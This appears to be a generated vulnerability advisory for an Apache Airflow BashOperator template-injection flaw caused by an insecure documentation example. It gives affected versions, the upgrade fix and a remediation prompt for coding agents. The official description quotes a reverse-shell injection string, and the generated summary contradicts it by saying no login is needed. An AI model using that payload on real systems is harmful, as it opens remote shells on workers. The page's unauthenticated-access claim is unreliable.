# CVE-2026-42252: Apache Airflow: BashOperator Jinja2 injection via dag_run.conf — low-privilege user pattern > Authenticated users can execute arbitrary commands if Dag authors copied an insecure BashOperator example from Airflow documentation. - **Severity:** Critical 9.1 (`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`) - **Exploited in the wild:** Not known - **Login needed:** Not needed - **Attackable:** Over the internet - **Victim action needed:** Not needed - **Fix available:** Yes - **Published:** 1 Jun 2026 - **Updated:** 2 Jun 2026 - **Also known as:** BIT-airflow-2026-42252, ECHO-e5bf-6322-947e, GHSA-c85c-g9wv-pph2, MINI-3cm5-5hh3-pfwq, PYSEC-2026-184 ## What is CVE-2026-42252? CVE-2026-42252 is a critical command injection vulnerability in Apache Airflow, published on 1 Jun 2026. An attacker can exploit it over the internet without logging in, with no action from the victim. ### Official description Apache Airflow's official documentation at `core-concepts/dag-run.html` ("Passing Parameters when triggering Dags") showed a verbatim `BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `"; bash -i >& /dev/tcp/.../9999 0>&1; #"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release. Weakness: CWE-1336 (Improper Neutralization of Special Elements Used in a Template Engine) ## Which versions are affected by CVE-2026-42252? 4 open source packages ship an affected version, including apache-airflow and airflow. It affects 1 product. | Package | Ecosystem | Affected | Fixed in | | --- | --- | --- | --- | | `apache-airflow` | PyPI | From 3.0.0 | 3.2.2 | | `apache-airflow` | PyPI | From 3.0.0 | 3.2.2 | | `apache-airflow` | PyPI | From 3.0.0 | 3.2.2 | | `airflow` | Bitnami | From 3.0.0 | 3.2.2 | Products: Apache Airflow. ## How do I fix CVE-2026-42252? Upgrade apache-airflow to 3.2.2 or later. ## Is CVE-2026-42252 being exploited? There is no known exploitation of CVE-2026-42252 in the wild and no public exploit code. ## Other vulnerabilities in Apache Airflow - [CVE-2020-13927](https://insights.sbomify.com/CVE-2020-13927/): Apache Airflow's Experimental API Authentication Bypass (critical 9.8, exploited in the wild) - [CVE-2020-11978](https://insights.sbomify.com/CVE-2020-11978/): Apache Airflow Command Injection (high 8.8, exploited in the wild) - [CVE-2026-33264](https://insights.sbomify.com/CVE-2026-33264/): Apache Airflow: DAG author RCE on webserver via unrestricted import_string() in BaseSerialization.deserialize() (critical 9.8) - [CVE-2023-25754](https://insights.sbomify.com/CVE-2023-25754/): Apache Airflow: Privilege escalation using airflow logs (critical 9.8) - [CVE-2023-22884](https://insights.sbomify.com/CVE-2023-22884/): Apache Airflow, Apache Airflow MySQL Provider: Arbitrary file read via MySQL provider in Apache Airflow (critical 9.8) ## Fix prompt for AI coding agents ```text Check this codebase for CVE-2026-42252 and fix it if it is affected. What it is: CVE-2026-42252 is a critical command injection vulnerability in Apache Airflow, published on 1 Jun 2026. An attacker can exploit it over the internet without logging in, with no action from the victim. Exploitation: There is no known exploitation of CVE-2026-42252 in the wild and no public exploit code. Affected packages and fixed versions: - apache-airflow (PyPI): affected from 3.0.0; fixed in 3.2.2 - apache-airflow (PyPI): affected from 3.0.0; fixed in 3.2.2 - apache-airflow (PyPI): affected from 3.0.0; fixed in 3.2.2 - airflow (Bitnami): affected from 3.0.0; fixed in 3.2.2 Task: 1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies. 2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it. 3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead. 4. Run the tests and summarise what changed and why. 5. If nothing in the project is affected, say so and change nothing. Reference: https://insights.sbomify.com/CVE-2026-42252/ (Markdown: https://insights.sbomify.com/CVE-2026-42252/index.md) ``` ## Sources - CVE record: https://www.cve.org/CVERecord?id=CVE-2026-42252 - NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-42252 - OSV: https://osv.dev/vulnerability/CVE-2026-42252 --- From sbomify Insights: https://insights.sbomify.com/CVE-2026-42252/ Summaries are generated and may contain mistakes; the official description above is the record.